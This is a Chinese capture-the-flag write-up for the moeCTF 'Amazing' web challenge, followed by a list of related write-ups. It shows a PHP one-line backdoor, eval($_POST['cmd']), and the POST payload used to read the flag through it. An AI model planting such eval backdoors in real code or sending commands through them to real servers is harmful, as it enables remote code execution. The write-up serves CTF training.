moectf Amazing

题目：
听说有很多带黑阔喜欢使用这个函数留后门，你也来试试？
题目地址：http://39.108.11.206:10006

打开链接，给了一串php代码
<?php error_reporting(0); $flag="xxxxxxxxxxxxxxxxxxxx"; eval($_POST['cmd']); ?>

$_POST[‘posha’]);是获取post变量
而eval是一个php函数，他可以将字符串中的符合php语法的字符当做php代码进行执行

echo $flag; 输出flag参数

使用post接口测试工具 cmd= echo $flag;提交参数，得到flag:
moectf{eVa1_1s_aMazinG}

moectf Amazing_eval相关推荐

2019 moeCTF新生题部分wp
author: xiaohuihui status: 初步完成,带×的题目尚未解出,已经出官方wp 官方wp: https://github.com/XDSEC/moeCTF_2019 说明1:题目附 ...
MoeCTF 2021Re部分------大佬请喝咖啡，A_game
文章目录大佬请喝咖啡反编译解释\u: z3解码 A_game 数独题: 这里判断行数据是1~9: 这里判断列数据是1~9: 9*9数独阵分为9个3*3方阵,每个方阵数据1~9 进行异或magic ...
MoeCTF 2021Re部分------PE
文章目录 ida分析算出秘钥解密脚本总结 ida分析这个题呢,目的是用附件异或一串秘钥得出一个exe,然后运行exe即可得出flag,然后秘钥主要藏在PE文件头中算出秘钥说实话,这题有点脑 ...
MoeCTF 2021Re部分------ez（递归转循环）
文章目录 ida 分析总结 ida for ( i = 0; i <= 75; ++i ){Character = fuck(i * i) ^ flag[i];putchar(Characte ...
MoeCTF 2021Re部分------Midpython.exe
文章目录 Midpython.exe marshal和dis库配合: 手动改为py 解密脚本总结: Midpython.exe python代码写成的exe,进行反编译,先搞成pyc,然后把pyc反 ...
MoeCTF 2021Re部分------time2go
文章目录 time2go keypatch使用 main_fun2(后一半) 总结: time2go keypatch使用 (ida中的keypatch插件)考点主要是玩keypatch,把sleep ...
【moeCTF题解-0x01】Reverse
title: [moeCTF题解-0x01]Reverse categories: CTF moeCTF tags: CTF [moeCTF题解-0x01]Reverse 一个全新的领域 [moeCT ...
【moeCTF题解-0x04】Crypto
title: [moeCTF题解-0x04]Crypto categories: CTF moeCTF tags: CTF Python Crypto [moeCTF题解-0x04]Crypto 有多 ...
2021西电MoeCTF
MOECTF新生赛wp Web Web_Lnc ezinclude babyRCE Do you know HTTP? Crypto BabyMultiple 解题方法为何使用hex与fromhex ...

moectf Amazing_eval

moectf Amazing_eval相关推荐

最新文章

热门文章